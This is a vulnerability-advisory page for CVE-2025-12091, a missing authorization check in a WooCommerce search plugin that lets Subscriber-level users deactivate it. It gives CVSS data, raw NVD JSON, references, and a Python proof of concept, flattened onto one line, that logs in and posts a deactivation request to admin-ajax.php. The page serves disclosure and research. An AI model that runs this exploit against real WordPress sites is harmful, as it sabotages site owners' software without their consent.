Security Vulnerability Report
中文
CVE-2025-12091 CVSS 4.3 MEDIUM

CVE-2025-12091

Published: 2025-12-06 06:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Search, Filters & Merchandising for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wcis_save_email' endpoint in all versions up to, and including, 3.0.67. This makes it possible for authenticated attackers, with Subscriber-level access and above, to deactivate the plugin.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Search, Filters & Merchandising for WooCommerce <= 3.0.67

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12091 PoC # WordPress plugin: Search, Filters & Merchandising for WooCommerce # Vulnerability: Missing authorization check on wcis_save_email endpoint # CVSS: 4.3 (Medium) target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = sys.argv[2] if len(sys.argv) > 2 else 'subscriber_user' password = sys.argv[3] if len(sys.argv) > 3 else 'user_password' session = requests.Session() # Step 1: Authenticate with WordPress login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } resp = session.post(login_url, data=login_data) # Step 2: Trigger plugin deactivation via vulnerable endpoint ajax_url = f'{target_url}/wp-admin/admin-ajax.php' payload = { 'action': 'wcis_save_email', 'plugin_action': 'deactivate', 'plugin': 'instantsearch-for-woocommerce/instantsearch-for-woocommerce.php' } resp = session.post(ajax_url, data=payload) print(f'Status Code: {resp.status_code}') print(f'Response: {resp.text}') print('Plugin deactivation attempted.') # Note: Requires valid WordPress account with Subscriber role or higher

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12091", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:48.990", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Search, Filters & Merchandising for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wcis_save_email' endpoint in all versions up to, and including, 3.0.67. This makes it possible for authenticated attackers, with Subscriber-level access and above, to deactivate the plugin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/instantsearch-for-woocommerce/tags/3.0.64/public/wcis_plugin.php#L1074", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/instantsearch-for-woocommerce/trunk/public/wcis_plugin.php#L1074", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3415224/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/daa8f941-6e87-4b94-8526-f73770fe6f82?source=cve", "source": "[email protected]"}]}}